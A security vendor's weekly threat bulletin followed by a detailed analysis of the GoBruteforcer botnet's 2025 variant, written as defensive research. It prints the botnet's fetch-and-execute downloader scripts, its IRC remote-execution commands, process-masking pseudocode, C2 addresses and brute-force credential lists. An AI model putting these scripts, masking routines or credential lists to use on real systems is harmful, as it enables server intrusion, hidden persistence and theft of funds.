Ledger, a global crypto hardware wallet maker, has disclosed a breach at e-commerce partner Global-e exposing customer contact and order details. Attackers launched phishing lures impersonating both firms to harvest wallet data. Ledger said wallets and seed phrases were unaffected, but targeted scams increased.
Giant US fiber broadband provider, Brightspeed, was claimed as breached by the Crimson Collective extortion gang. The intrusion allegedly exposed sensitive information belonging to over 1 million customers; however the company has not yet confirmed the incident.
American Dartmouth College, has disclosed that an August attack exploiting Oracle E-Business Suite exposed personal information of over 40,000 people. Leaked data includes Social Security numbers and bank account information. Reports attribute the intrusion to Clop ransomware group.
Check Point IPS, Threat Emulation and Harmony Endpoint provide protection against this threat (Oracle Multiple Products Remote Code Execution (CVE-2025-61882, CVE-2025-61884); Ransomware.Win.Clop; Ransomware.Wins.Clop; Ransomware.Wins.Clop.ta.*)
JBS Mental Health Authority, a regional US nonprofit, has experienced a ransomware attack in late December. The organization was listed by the Medusa ransomware group, which claims it stole 168.6GB of data, including sensitive client records and internal operational information.
Check Point Threat Emulation provides protection against this threat (Ransomware.Wins.Medusa)
Prosura, an Australia and New Zealand car rental insurance provider, has reported a data breach that resulted from an unauthorized access to parts of its systems. The attacker allegedly exposed driver licenses and policy documents. Prosura paused online self-service and said payment card data is not stored in its systems.
Free Speech Union, a UK membership organization, has experienced a data breach after activist group Bash Back compromised its website and posted transaction details online. Records for thousands of donations were leaked, including amounts and comments. The organization took its site offline as a precaution.
VULNERABILITIES AND PATCHES
SmarterTools fixed CVE-2025-52691, a critical pre-auth remote code execution flaw with a CVSS score of 10.0. Successful exploitation allows an attacker to upload files and write to web-accessible paths, potentially resulting in full server compromise.
Check Point IPS provides protection against this threat (SmarterMail Arbitrary File Upload (CVE-2025-52691))
A patch was released for CVE-2025-64496 vulnerability in Open WebUI, a self-hosted interface for AI models, enabling code injection via the Direct Connection feature and potential remote code execution. Versions through 0.6.34 are affected.
Cisco has addressed CVE-2026-20029, a medium-severity flaw in Identity Services Engine and ISE-PIC, which allows administrators to access sensitive files via improper XML parsing. Exploitation of the flaw requires valid admin credentials.
THREAT INTELLIGENCE REPORTS
Check Point Research observed GoBruteforcer, a modular Go botnet brute-forcing Linux servers running phpMyAdmin, MySQL, PostgreSQL and FTP. Campaigns exploit AI-generated server deployments that propagate common usernames and weak defaults. The botnet converts hosts into scanners and credential harvesters, with crypto-focused runs stealing funds and expanding access through backdoors and IRC-based control.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point researchers identified the OPCOPRO “Truman Show” investment scam, which industrializes social engineering via WhatsApp and Telegram. Apps from official stores serve as interfaces to attacker servers, fabricating balances and trades, harvesting KYC documents, and driving identity theft and deposits.
Check Point Harmony Endpoint provides protection against this threat
Researchers analyzed LockBit 5.0 ransomware, detailing ChaCha20-Poly1305 file encryption, X25519 with BLAKE2b key exchange, termination of VSS and backup services, and Temp directory cleanup. LockBit 5.0 uses custom random extensions per execution, excludes system files, supports Stealbit exfiltration, and drops a ransom note threatening data leakage.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat (Ransomware.Wins.Lockbit; Ransomware.Wins.Lockbit.ta.*; Ransomware.Win.LockBit; Gen.Win.Crypter.Lockbit)
Researchers uncovered PHALT#BLYX, an ongoing campaign that targets European hospitality via Booking.com-themed phishing and ClickFix-style fake BSOD/captcha lures that prompt PowerShell execution. The chain aims for credential theft and privilege elevation.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat (RAT.Wins.Dcrat; RAT.Win.DCRat; InfoStealer.Wins.DcRat)
GoBruteforcer (also called GoBrut) is a modular botnet, written in Go, that brute-forces user passwords for services such as FTP, MySQL, PostgreSQL, and phpMyAdmin on Linux servers. The botnet spreads through a chain of web shell, downloader, IRC bot, and bruteforcer modules.
The current wave of campaigns is driven by two factors: the mass reuse of AI-generated server deployment examples that propagate common usernames and weak defaults, and the persistence of legacy web stacks such as XAMPP that expose FTP and admin interfaces with minimal hardening.
According to our estimate, more than 50,000 Internet-facing servers may be vulnerable to GoBruteforcer attacks.
Check Point Research (CPR) observed a GoBruteforcer campaign targeting databases of crypto and blockchain projects. On one compromised host, we recovered Go-based tools, a TRON balance scanner and TRON and BSC “token-sweep” utilities, together with a file containing ~23,000 TRON addresses. On-chain transaction analysis involving the botnet operators’ recipient wallets shows that at least some of these financially motivated attacks were successful.
Introduction
GoBruteforcer is a botnet that turns compromised Linux servers into scanning and password brute-force nodes. It targets internet-exposed services such as phpMyAdmin web panels, MySQL and PostgreSQL databases, and FTP servers. Infected hosts are incorporated into the botnet and accept remote operator commands. Newly discovered weak credentials are used to steal data, create backdoor accounts, sell access, and expand the botnet.
The malicious toolkit is usually split into two parts. The first is an IRC bot that enables remote control of the compromised host, including command execution and updates. The second is a bruteforcer that is fetched later and used to scan random public IP ranges and attempt logins using credentials that are hardcoded or provided by the command and control (C2) server.
The botnet was first described publicly in 2023. In mid-2025, we began observing a more sophisticated GoBruteforcer variant in the wild. This new variant introduces a heavily obfuscated IRC bot (rewritten entirely in Go), improved persistence mechanisms, process-masking tricks, and server dynamic credential lists.
This article summarizes what we know about the 2025 variant, highlights its new features, and provides a broader context of misconfigured servers, weak credentials, and AI-assisted DevOps workflows.
Attack surface
Millions of database and file-transfer servers are publicly reachable on their default ports. Recent data from Shodan (a search engine for internet-connected devices and services) show roughly 5.7 million FTP servers, 2.23 million MySQL servers, and about 560 thousand PostgreSQL servers are exposed to the Internet.
Figure 1 — Number of MySQL servers publicly reachable on the default port (Source: Shodan search).
These services, together with tens of thousands of phpMyAdmin panels, form the primary attack surface for GoBruteforcer.
We compared the credential list used in GoBruteforcer campaigns against a database of approximately 10 million leaked passwords and found an overlap of roughly 2.44%. This gives us a baseline for a rough upper limit on the number of hosts that might accept one of the passwords that GoBruteforcer has at its disposal: approximately 54.6 thousand MySQL instances and 13.7 thousand PostgreSQL instances (note that this estimate does not account for correct usernames, host-based access restrictions, or other policy controls). Even with a low success rate, the large number of exposed services makes this type of attack an economically-attractive option. Our assumptions are supported by Google’s 2024 Cloud Threat Horizons report, which found that weak or missing credentials accounted for 47.2% of initial access vectors in compromised cloud surfaces. In practice, attackers do not need expensive techniques or zero-day exploits to gain access. They can simply try common usernames and passwords such as admin, 123456 or password1 until they obtain access (the bruteforce model). The evidence shows that this approach still succeeds far too often.
Drivers of the current wave
For GoBruteforcer to succeed, the attackers must guess not only a weak password but also a valid username that accepts remote logins. In our monitoring of the botnet, we observed that real GoBruteforcer attacks use common operational usernames such as appuser and myuser in their brute-force credential lists:
Figure 2 — Sample credential lists delivered by GoBruteforcer C2 for brute-force tasks.
The use of these names in attacks is not accidental. Most have circulated for years in database tutorials, vendor documentation, and community Q&A as convenient examples, many of which were copied into production environments.
Large language models (LLMs) are trained on this same public documentation and example code. It is therefore not surprising that they often reproduce the same configuration samples with popular default usernames like appuser and myuser. We asked two mainstream LLMs to help us create a MySQL instance in Docker. Both produced near-identical snippets with stock username patterns:
Figure 3 — Example snippets generated by different models for deploying MySQL in Docker.
AI clearly boosts productivity and lowers the barrier to entry: a person with little operational experience can use an AI assistant to create a database server in Docker in minutes. However, blindly following AI-provided instructions carries security risks as it leads to even wider use of standard configurations with common usernames in production. Although we do not think that GoBruteforcer specifically targets AI-assisted server installations, the widespread use of LLMs may help the botnet’s attacks become more successful.
The second driver for GoBruteforcer attacks is legacy web server software stacks such as XAMPP, which still power a considerable number of websites. These installations often ship with a preinstalled FTP server and default credentials (often without the administrator’s awareness) which serve as a functional backdoor waiting to be exploited.
Campaign patterns and targeting
GoBruteforcer targets four service types: FTP, MySQL, PostgreSQL, and phpMyAdmin.
The C2 server determines which service to attack, and also transmits a list of 200 credentials for the brute-force attack. The campaign profile, which includes the target and username and password sets, is rotated through several times per week. Within one campaign, the per-task password lists are newly created each time from a relatively small database, typically 375–600 commonly used weak passwords.
We observed broad spray campaigns and more focused runs. In generic sprays, the botnet operator uses a list of common operational usernames (php, operator, appuser, john, api, newuser, dbo, service, web, guest, myuser and others) and a standard weak-password base, sometimes with light username-flavored variants (for example appuser1234 or operatoroperator).
Some tasks are clearly sector-focused. For example, we observed an attack that used crypto-themed usernames such as cryptouser, appcrypto, crypto_app, and crypto. In these runs, the passwords used combined the standard weak list with crypto-specific guesses such as cryptouser1 or crypto_user1234.
Other campaigns target phpMyAdmin panels, often associated with WordPress sites. These attacks use a short username list: root, wordpress, and wpuser. The attackers supplement the common weak-password set with WordPress-style variants like wordpress, wordpress123 and wpuserwpuser.
We also observed username-focused runs that apply the full password pool to a single username such as appuser or root). Different single-username tasks are distributed across the botnet, so it is likely that many account names are tested in parallel.
To summarize, the attackers reuse a small, stable password pool for each campaign, refresh per-task lists from that pool, and rotate usernames and niche additions several times a week to pursue different targets.
Unlike the other services, FTP brute-force uses a small, hardcoded set of credentials embedded in the bruteforcer binary. That built-in set points to web-hosting stacks and default service accounts, as many usernames and passwords map to known defaults used by bundled distributions (notably XAMPP) and common web server deployments (e.g., apache, daemon, http, www, wordpress-style entries).
Attackers can use the discovered weak passwords to further spread the botnet (this may be possible in case of a successful compromise of WordPress) as well as steal sensitive data from compromised databases and sell access.
Operational workflow
We observed GoBruteforcer activity both in the wild and in dedicated honeypots. The data we collected show common initial access patterns that we saw repeatedly in campaigns and honeypot captures.
See Figure 4 for the attack chain:
Figure 4 — GoBruteforcer infection chain.
Initial access
A notable vector for initial compromise is internet-exposed FTP on servers running XAMPP. XAMPP is a widely used, easy-to-install Apache product that bundles Apache, MySQL/MariaDB, PHP/Perl, an FTP server (typically ProFTPD) and phpMyAdmin. By default, XAMPP is installed under /opt/lampp, and the web content directory /opt/lampp/htdocs is available on the web server. It’s designed for a local development environment and convenient installation rather than maximal security. As a result, it contains default weak passwords unless the administrator runs XAMPP’s security helper. In addition, the default ProFTPD configuration on XAMPP commonly maps the FTP root to that same webroot, which means a successful FTP login enables attackers to write files that are then implemented by the web server.
At the same time, the small set of credentials used by the FTP bruteforcer strongly indicates that XAMPP installations are among GoBruteforcer’s intended targets. When attackers obtain access to XAMPP FTP using a standard account (commonly daemon or nobody) and a weak default password, the typical next step is to upload a web shell into the webroot.
To upload a web shell, attackers may also use other vectors, for example, misconfigured MySQL servers or phpMyAdmin panels. Published case studies and write-ups demonstrate practical techniques for achieving code execution or uploading shells through phpMyAdmin when the application or host is misconfigured.
The attackers still use the same PHP web shell that we observed two years earlier (SHA256: de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b). In addition, the samples we observed use the same hashed password for user authentication.
We also suspect the presence of other distribution chains, as we found hosts belonging to the botnet that did not have a web shell installed.
IRC Bot installation
The web shell installed in the previous step is then used to download and execute additional malicious software (such as an IRC bot).
We observed web shell commands that instruct the target to fetch and run an architecture-specific payload. Example (as seen in the web server access logs):
#!/bin/sh
if [ ! -w . ] || [ ! -x . ]; then
cd /tmp || exit 1
fi
if [ `md5sum init_start 2>&1 | awk '{print $1}'` != "cc9dde367a1e7ac2c1a7611bdfbbcbc3" ] ; then
rm -rf init_start
(wget -q -O init_start http[:]//<compromised_host_ip>/.x/x_x86 || curl
-[s] -[L] -[o] init_start http[:]//<compromised_host_ip>/.x/x_x86)
fi
chmod +x init_start
./init_start
This shell script functions as a lightweight downloader and updater. It first ensures it can write and execute in the current directory; if not, it switches to /tmp (or exits if that also fails). It then checks the MD5 of the local init_start file and, on mismatch or absence, deletes any existing file, downloads a fresh copy from a remote host via wget or curl, saving the downloaded file as init_start, makes it executable, and runs the script.
The remote server (on request to /.x/?x=<arch_name>) selects the IRC bot binary to return, based on an architecture parameter. The following architectures are supported:
Architecture name string
File name
arm, armv6l, armv7l, armhf, armv5tel
x_arm
aarch64, arm64
x_arm64
i686
x_x86
x86_64
x_x64
Depending on the compromised host configuration and the privileges obtained by the attackers, a newly infected machine can play different roles within the botnet:
Ordinary scanner bot: Most commonly, the host runs the bruteforcer and scanners that enumerate and attempt password logins across the Internet.
Distribution host: A compromised device may be used to host and serve payloads to other compromised systems (as the <compromised_host_ip> in the previous examples).
C2 / IRC relay: In some cases, an infected host can be promoted to host IRC-style control endpoints or act as a backup C2 for resilience.
This modularity increases the botnet’s resilience. The botnet operators can control bots via web shells and also via the installed IRC bot (post-deployment control). The presence of built-in lists of fallback C2 addresses and the ability to update the IRC bot module (and switch to alternate servers) enables continuous control even when parts of the infrastructure are disrupted. We also observed a domain-based fallback mechanism: bots first keep trying hardcoded IP endpoints and only attempt C2 domain resolution if all hardcoded servers are unresponsive. This way, the bot reduces accidental domain lookups during normal operation but allows a last-resort recovery path if the infrastructure changes.
Post-infection control and module updates
After the IRC bot connects to the C2 server, the attackers gain an additional channel for managing the newly infected host. The bot’s full functionality and the control protocol are described in detail in the “IRC Bot technical details” section below.
Most commands are issued on a shared IRC channel, so many bots receive identical instructions simultaneously. One common action is to instruct bots to download or update the bruteforcer module; this update typically occurs twice a day using the following shell command:
This pipeline fetches and executes a shell script produced by test2.php. The uname -m substitution returns the host architecture (for example, x86_64), and test2.php generates an architecture-specific downloader script similar to the one described earlier. The downloader only retrieves the bruteforcer binary for the selected architecture if a local copy is missing or its MD5 checksum differs from the expected value. It saves the downloaded file in the /tmp folder under the name init_stop.
This is an example of the downloader script we observed:
#!/bin/sh
cd /tmp
if [ `md5sum init_stop 2>&1 | awk '{print $1}'` != "2c32ba61a6ac6721ed6f5a76b1fcbd7a" ] ; then
rm -rf init_stop
(wget -q -O init_stop http[:]//<compromised_host>/.x/s_x64 || curl -[sL] -o init_stop http[:]//<compromised_host>/.x/s_x64)
fi
chmod +x init_stop
Every 400 seconds, the bot receives the command /tmp/init_stop to launch the downloaded file:
Figure 5 — Bruteforcer restart command.
Approximately every 5,000 seconds, we also observed a command to find and stop bruteforcer processes:
In addition, this command enables the attackers to terminate any processes that contain init_stop in the command line and are running under the same user account. Using kill -9 ensures an immediate, forced shutdown of those PIDs, including the bruteforcer itself and tools launched with a command line that references init_stop (for example, a debugger started as gdb init_stop).
Detecting hosting providers (OVH / DigitalOcean)
We observed the botnet operators issuing checks using ipinfo.io to identify whether compromised hosts belong to specific providers. We observed several variants of the command, including one with a typo "grep-i" that indicates interactive execution rather than a scripted check:
These simple lookups with ipinfo.io return the organization name for the host’s public IP address and allow the attackers to detect provider tenancy. We observed probes for digitalocean and ovh as interactive commands in our logs, indicating that the botnet operators occasionally manually inspect host provider metadata.
Later in the process, we also observed another command sequence intended to build a list of bots running outside datacenters and to filter out likely honeypots by excluding hosts that report as VPNs, proxies, or Tor. The attackers also ran these commands interactively and likely without prior testing: the first command failed due to a missing space in the grep invocation.
Possible operational rationales behind these queries include:
Target selection or exclusion: Some providers may be treated differently, for example, avoid or deprioritize cloud providers that have active abuse/honeypot programs or rapid takedown procedures.
Tagging & grouping: The botnet operators may label bots (by provider or datacenter) for later targeting.
Follow-up actions: Different post-exploitation strategies (e.g. promotion to distribution/C2 node) may be chosen based on provider characteristics.
Blockchain campaign
As we stated previously, during monitoring we noted that credential sets used in GoBruteforcer campaigns included crypto-themed usernames, suggesting an interest in poorly secured blockchain databases. We later found corroborating evidence on one compromised host: alongside the botnet binaries, the attackers placed additional modules that matched the group’s tooling profile (written in Go and UPX-packed).
Figure 6 — Exposed directory listing on a compromised host controlled by the attackers.
One module iterates TRON blockchain addresses and query balances to identify accounts with non-zero funds. We found a data file next to the binary that contains approximately 23,000 TRON addresses:
The module queried the service tronscanapi.com using several API keys to perform lookups:
Figure 7 — Tronscan API keys used by the operators.
We also discovered “token-sweep” utilities for Binance Smart Chain (BSC) and TRON, also written in Go and UPX-packed. Their purpose is to use private keys to transfer tokens from victim addresses to attacker-controlled wallets. We did not find private keys on this host. It is plausible that keys were supplied at runtime and deleted after the operation was complete.
We assume that the operation could be run in parallel across multiple infected hosts, and we observed only one such node where the attackers apparently forgot to delete the files.
From the binaries, we also extracted two of the target blockchain wallet addresses utilized by the attackers:
TRON: TF5LUPC7MQWMcCgRLThY1v8zsHuoz1sBZW
BSC: 0x208a8Ce726443B7ED9B621be70Cee7b2bB6723B2
Based on on-chain transaction review of these recipient wallets and the contents of the recovered address list, we determined with moderate confidence that the compromised database likely belonged to an older or legacy blockchain product (e.g., a custodial wallet service). Most addresses carried only small residual balances, consistent with leftover funds rather than actively used accounts.
Figure 8 — Token-sweep transactions to the operators’ wallet on TRON.
IRC Bot technical details
In this section, we analyze the current (2025) version of the IRC bot used in the botnet to control infected hosts and deploy the GoBruteforcer.
As in the old version, the malicious binary is packed with UPX. However, the packer’s “UPX!” signature bytes were replaced by “XXXX”:
Figure 9 — Patched “UPX!” signature in the analyzed sample.
Once those bytes are patched back to their original state, standard UPX successfully unpacks the sample.
Previously, the bot was likely written in C and only the bruteforcer component was implemented in Go. Now, all samples used by the group are written in Go, including the IRC bot.
In addition, all samples are obfuscated with Garbler, which complicates the analysis because the binaries no longer contain plaintext strings.
The bot’s functionality also changed in several ways:
The algorithm for generating the IRC nickname was modified. The host name appended to the nickname is now less predictable — instead of replacing invalid characters with the literal string "default", the new code uses a regular expression that simply strips or replaces forbidden characters.
An older version of the bot used the IRC command MODE <nick> -xi, which causes the bot to become visible on the server. That command was removed in the new version.
The command handler was rewritten and the set of supported commands was expanded.
Process masking features were added.
Below we examine the new and changed functionality in more detail, including aspects that were not documented previously.
Process masking
The malware attempts to hide its presence on the host in two ways: by changing the process name and by overwriting the command line.
Masking the process name
To change the short process name, the malware calls prctl with the PR_SET_NAME operation. Before the call, it truncates the supplied name so that it fits into the 16-byte kernel buffer used for the thread “comm” field. The following C-style pseudocode illustrates that technique:
int set_proc_name(const char *name)
char buf[16];
size_t n = name ? strlen(name) : 0;
if (n > 15) n = 15;
memcpy(buf, name, n);
buf[n] = '\\0';
// PR_SET_NAME == 15
if (prctl(15 /*PR_SET_NAME*/, (unsigned long)buf, 0, 0, 0) == -1) {
return -errno;
}
return 0;
}
In the observed sample, the fake process name used is init. As a result, utilities such as System Monitor display that value instead of the real executable name — a behavior that helps the binary blend in with legitimate system processes:
Figure 10 — System Monitor shows the altered process name.
Masking the command line
The previous method for changing the process name does not affect the command line shown by many tools (for example, ps aux). To mask the malicious process in the output of these tools, the malware also overwrites the in-memory argv buffer so that /proc/<pid>/cmdline contains the fake label (and trailing zero bytes) instead of the original command line.
The sample first reads /proc/self/cmdline to learn the actual visible length of the command line. It then retrieves the pointer to the argv[0] buffer. If the chosen label ("init" in the analyzed sample) is longer than that available space, the code falls back to a one-byte label ("x"). Finally, it constructs the label plus NUL padding to match the original visible length and writes those bytes in place in the argv buffer. The C-pseudocode below mirrors this routine:
void maskCmdline(char *label) {
ssize_t cmdlen = read_len("/proc/self/cmdline");
void *dst; int cap;
get_argv0_buf(&dst, &cap);
if (!dst || cap <= 0 || cmdlen <= 0) return;
int used = strlen(label);
if (used > cap) { label = "x"; used = 1; }
int pad = cmdlen - used;
if (pad < 0) pad = 0;
buf = malloc(cmdlen);
memcpy(buf, label, used);
memset(buf + used, 0, pad);
if (used + pad > cmdlen);
memmove(dst, buf, cmdlen);
free(buf);
}
As a result, if we list processes using the ps utility, we see init instead of the original command line:
Figure 11 — The “ps” utility shows the fake command line.
Initialization and connecting to server
When the binary starts executing, the main.init funcion builds the bot configuration. The configuration includes a list of C2 / IRC server endpoints (IP addresses or domains), a port for each entry, a generated visible nickname used for IRC registration, and the default IRC channel name.
In the observed samples, there are between 1-3 obfuscated C2 entries. In the active 2025 campaign, we observed the following C2 server addresses:
190.14.37[.]10:8080
93.113.25[.]114:8080
xyz.yuzgebhmwu[.]ru:8080
Figure 12 — Obfuscated C2 server address list.
The bot cycles through the hardcoded C2 list in a round-robin, going to the next C2 server and trying to connect. Usually, the IRC servers used by the malware run on the TCP port 8080.
Immediately after the TCP connection completes, the bot sends two IRC commands:
NICK <nick>
USER K 0 * :2025
For the USER command, the bot uses hardcoded values for the fields:
K is used for the username field.
2025 is used for the realname field.
This means that raw IRC messages in which the IRC server refers to the bot look like:
:<nick>!K@<host> JOIN #bots-x86
Most probably, the realname field is for the release year or the version number, as in earlier bots this value was set to 2022.
Optionally, the bot can also send the PASS message, if enabled in the configuration for the server. In the analyzed samples, this option was switched off.
Nickname format
The nickname generated by the bot has the following format:
M|<flag>|<random-6-digits>|<cpu_num>c|<hostname>
Observed components:
M — Constant prefix used by this bot family.
<flag> — A small flag value (observed as a single digit, e.g., indicating root/non-root).
<random-6-digits> — A six-digit random identifier (regenerated if the nick is already in use).
<cpu_num>c — A numeric value representing the number of CPUs on the infected machine, suffixed with c.
<hostname> — The sanitized device hostname, truncated to 10 characters.
After the bot registers, the C2 IRC server immediately replies with the normal connection numerics and then performs an automatic nick rewrite. The exact observed sequence:
:server.com 001 <nick> :
:server.com 002 <nick> :
:server.com 003 <nick> :
:server.com 005 <nick> CHANTYPES=# PREFIX=(o)@ CHANMODES=o NETWORK=server :are supported by this server
:server.com 422 <nick> :
:<nick> NICK <country_code>|<nick>
001–003 (welcome messages). Normally these contain a greeting, the server version, and creation date. Here they are empty, which hides useful information about the server.
005 (capabilities). The server declares a very restricted rule set: there is only one type of channel (those starting with #), and there are only two types of users — the operator and everyone else. Operators can see and control everything, while regular users are severely limited: they cannot see each other’s presence or messages, and effectively can only communicate with the operator. This design prevents bots from “talking” to each other and ensures that only the operator can control them.
422 (nick change). Finally, the server forces the bot to change its nickname by adding a two-letter country code such as US|. Most likely the country code is obtained from the bot’s IP address and allows the operator to quickly group bots by geography.
Server-side restrictions
The IRC server used in the current campaign enforces a constrained policy and limits functionality for unauthenticated users. Only a small command set is allowed:
Attempts to use other commands result in a 481 numeric (permission denied). The observed server message:
:server.com 481 <nick> :Permission Denied- You're not an IRC operator
Counteracting bot monitoring and hijacking
As mentioned earlier, the server is configured to prevent bots from seeing messages from other bots. Bots use direct NOTICE messages to send command execution results to the bot operator. (The list of commands and how they are handled will be described later.)
This hides the botnet from monitoring agents and prevents the bot from being hijacked.
With this configuration, the only way to send messages from one bot to another is to send a direct message addressed to its nickname. However, due to the random generation of 6-digit numeric sequences in nicknames, as well as our lack of knowledge of the hostnames and the geography of the victims, a large-scale bruteforce attack would be necessary to achieve this.
In addition, besides the server restrictions, the bot itself enforces a check before processing any control command. The observed logic is:
The bot only considers messages whose message text begins with the ! prefix (commands are delivered as !<cmd> ... in the trailing part of an IRC PRIVMSG).
The bot inspects the full IRC prefix token (the raw nick!user@host token that appears after the leading ":"). It searches that prefix for the substring @127.0.0.1 — i.e., @ immediately followed by 127.0.0.1. Only messages whose prefix contains @127.0.0.1 pass the check. If the substring is not present, the message is ignored.
This functionality essentially allows bots to be managed only by an operator connected locally to the IRC server. Even if this restriction is circumvented, the two measures described above prevent bots from being controlled by an unauthorized party.
Default Channels
The bot automatically joins a small set of persistent channels after a successful login. One channel is a global base channel (#bots), and the others are architecture-specific channels. The observed channel names include:
#bots (base channel)
#bots-x86
#bots-arm
#bots-arm64
#bots-mips
The per-architecture channels allow the operator to send commands only to bots running a specific architecture (e.g., push an x86-only payload to #bots-x86).
After the server sends the 001 welcome numeric, the bot waits a short time (3 seconds) and issues a JOIN message for each channel in its persistent list. Example lines the bot sends include:
JOIN #bots
JOIN #bots-x86
IRC Messages Handled by the Bot
The bot processes the following types of IRC messages sent by the server:
PING — Immediately replies with a PONG message.
001 — Welcome message. When the bot receives this message, it sends JOIN commands to connect to its persistent channels.
433 — Nickname already in use. When received, the bot generates a new nickname and resends a NICK command.
NICK — The server forces a nickname change. The bot updates its internal state accordingly.
JOIN — Notification that a user joined a channel. If it is the bot itself, it records the channel in its list.
PART — Notification that the bot left a channel. The bot removes the channel from its list.
KICK — The bot is removed from a channel and deletes the channel from its list.
PRIVVMSG — A direct message to the bot. These messages are used by the operator to issue commands (covered in the next section).
ERROR — Error notification.
Command and Control
The operator controls the bots using commands with a specific format. There are two accepted delivery forms:
The operator controls the bots using commands with a specific format. There are two accepted delivery forms:
Channel broadcast (targets all bots in a channel):
!join <channel> — join a channel. The bot accepts both channel name forms (with or without #) in the command argument. If the channel does not start with #, the bot prepends #. The bot sends JOIN <channel> to the server and stores the channel in its persistent channel list (and rejoins when it reconnects). This command allows the operator to group bots by a feature, for example, bots hosted in a specific datacenter.
!part #<channel> — Leave the channel. The bot expects channel names with # in this handle. As a result of handling this command, the bot sends PART #<channel> and removes the channel from its persistent list.
!channels — List persistent channels. The bot replies to the command sender (using a private NOTICE message) with either a list of channels, or No persistent channels configured if the list is empty.
Example:
# server -> bot
:xx!x@127.0.0.1 PRIVMSG US|M|1|123456|4c|vps-123 :!channels
# bot -> server
NOTICE xx :Persistent channels: #bots, #bots-x86
!nick [<nickname>] — Set or regenerate the nickname. The command allows the operator to set an arbitrary nick to a specific bot.
!reconnect — Schedule a reconnect. The bot silently closes the connection with the server and reconnects after a short delay (2 seconds).
!quit <message...> — Disconnect and quit. After receiving this command, the bot sends a QUIT :<message> to the server, closes the connection, and shuts down the bot. This command allows the operator to restart the bot in the event of an update (if the bot auto-run is kept in cron, in which case it restarts every 5 minutes).
!msg <target> <text...> — send PRIVMSG on behalf of the bot. The purpose of this command is unclear. The command instructs the bot to send a PRIVMSG message to a channel or to another bot. Due to the host address check in the bot message handler, this command cannot be used to relay control commands. Such commands won’t be processed by other bots. In addition, due to server settings, other bots can’t see messages sent by the bot.
Example:
# server -> bot
:xx!x@127.0.0.1 PRIVMSG <nick1> :!msg #bots Test
# bot -> server
PRIVMSG #bots :Test
!exec <args> — Remote shell command execution. The exec command runs the shell command by launching /bin/sh -c "<args>". The bot constructs the command from the tokens after exec by adding a space. Standard output (stdout) of the shell process is scanned line-by-line. Each line is sent back to the original message sender as a separate NOTICE IRC message to the botmaster.
Example:
# server -> bot
:xx!x@127.0.0.1 PRIVMSG #bots :!exec ls -al
# bot -> server
NOTICE xx :drwxr-xr-x 23 root root 4096 Sep 25 12:13 .
NOTICE xx :drwxr-xr-x 23 root root 4096 Sep 25 12:13 ..
NOTICE xx :lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
...
It is important to note here that messages sent in this way are visible only to the botnet operator, are not visible in the channel, and cannot be received by other users or bots.
Persistence and Single-Instance Control
The rest of the functionality remains almost unchanged compared to previous versions.
To maintain persistence on the system, the bot relies on cron, which restarts the binary every five minutes (*/5 * * * * <cmd>). Before setting up cron jobs, the malware copies itself into several paths:
/tmp
/var/tmp
/dev/shm
/run/lock
Figure 13 — The list of cron jobs added by GoBruteforcer.
To ensure that only one instance runs at a time, the bot uses a simple local socket-based mutex: it binds a socket to the loopback interface (127.0.0.1) on a fixed port and keeps the listener open. If the port is already in use, the new instance terminates. In the analyzed sample, the port 51125 was used, although other samples employed different ports (for example, 52225), enabling the botnet operators to run two versions in parallel for testing updates.
Bruteforcer module
In this section, we examine the bruteforce module of the GoBruteforcer malware (2025 variant), which targets four service types (FTP, MySQL, PostgreSQL, and phpMyAdmin (PMA)) by systematically attempting to log in using credential lists. We describe how the malware selects target IP adresses, manages concurrency, and executes protocol-specific brute-force routines.
Initialization
Overall, the bruteforcer’s design balances speed (scanning tens of IP addresses per second) with stealth (skipping specific IP ranges, avoiding unnecessary reporting, and not saturating bandwidth).
As seen with the IRC bot, the bruteforcer starts with a single-instance guard: It binds a TCP socket on the loopback interface to a fixed port (127.0.0.1:51126). If the port is already in use, it exits to prevent a second launch.
The malware introduces a random delay between 10 and 400 seconds before beginning any activity.
Next, the malware obtains the credential list and mode (one of mysql, ftp, pma, or postgres) from a C2 server at a URL hardcoded in the sample (the exact address may differ across samples):
http://190.14.37[.]10/new.php
To make a request to the C2 server, the malware uses a specific User-Agent string:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
The C2 server usually returns the output in the following form:
The bot launches a dedicated goroutine to poll its C2 server every 15 minutes for updates to the bruteforcing task and credentials list (with a faster 30-second retry loop on failure).
The main bruteforce loop itself runs continuously unless stopped by the C2 server.
Worker Pool and Concurrency Control
In the main loop, GoBruteforcer maintains a fixed pool of worker goroutines that perform bruteforce tasks in parallel. The pool size is chosen based on the CPU architecture of the infected host. On 64-bit systems (x86_64 or arm64), the malware sets a target of 95 concurrent workers, whereas 32-bit or lower-end systems use fewer (e.g. 85 on i686, 35 on armv5tel, 50 on others by default). This target is set once at startup and remains constant unless a stop command is issued by the C2 server. Each worker is a short-lived task that will scan a single IP address for a given service and then exit.
Pool maintenance
The main controller seeds the pool by immediately launching the required number of goroutines and then continuously adds more. A counter is triggered every 1 second to check how many workers are currently active. If the number dropped below the target (e.g. some finished their scan), the malware spawns new workers to make up the deficit. This way, the pool always hovers near the fixed concurrency level.
The pool mechanism ensures a steady load and throughput – on x86-64 an infected host reliably keeps approximately 95 parallel bruteforce threads running.
Task loop and stop signal
A central loop in the malware continuously monitors the mode provided by the C2 server (the service to bruteforce). If the mode switches to stop, the malware shuts down the pool. To stop, it signals a cancellation context shared by all workers.
Single-IP task per worker
Upon starting, each worker goroutine takes a snapshot of the current bruteforcing “mode” (e.g., FTP or MySQL) and generates one target IP address to attack. It then executes the corresponding bruteforce routine for that IP (detailed in the protocol sections below) and exits. This means each thread handles at most one IP address from start to finish. By cycling workers in this one-IP-per-worker fashion, the malware naturally load-balances and avoids any single thread running for too long. The one-IP tasks also make it simple to maintain the target concurrency: As soon as a worker exits, a new one is spawned to pick up the next IP.
Target IP Selection and Filtering
For each bruteforce attempt, GoBruteforcer selects a random IPv4 address as the target. However, it intelligently filters out IPs that belong to non-routable networks or specific ranges the operators appear to avoid. The IP generation function essentially performs an “infinite dice throw” over the 4 octets until it comes up with an address that is not in any forbidden range. This prevents wasting time on addresses that cannot be reached or may attract unwanted attention.
Figure 14 — Generation and filtering random IP addresses.
The malware skips the following address categoriesby checking the octets against hardcoded conditions:
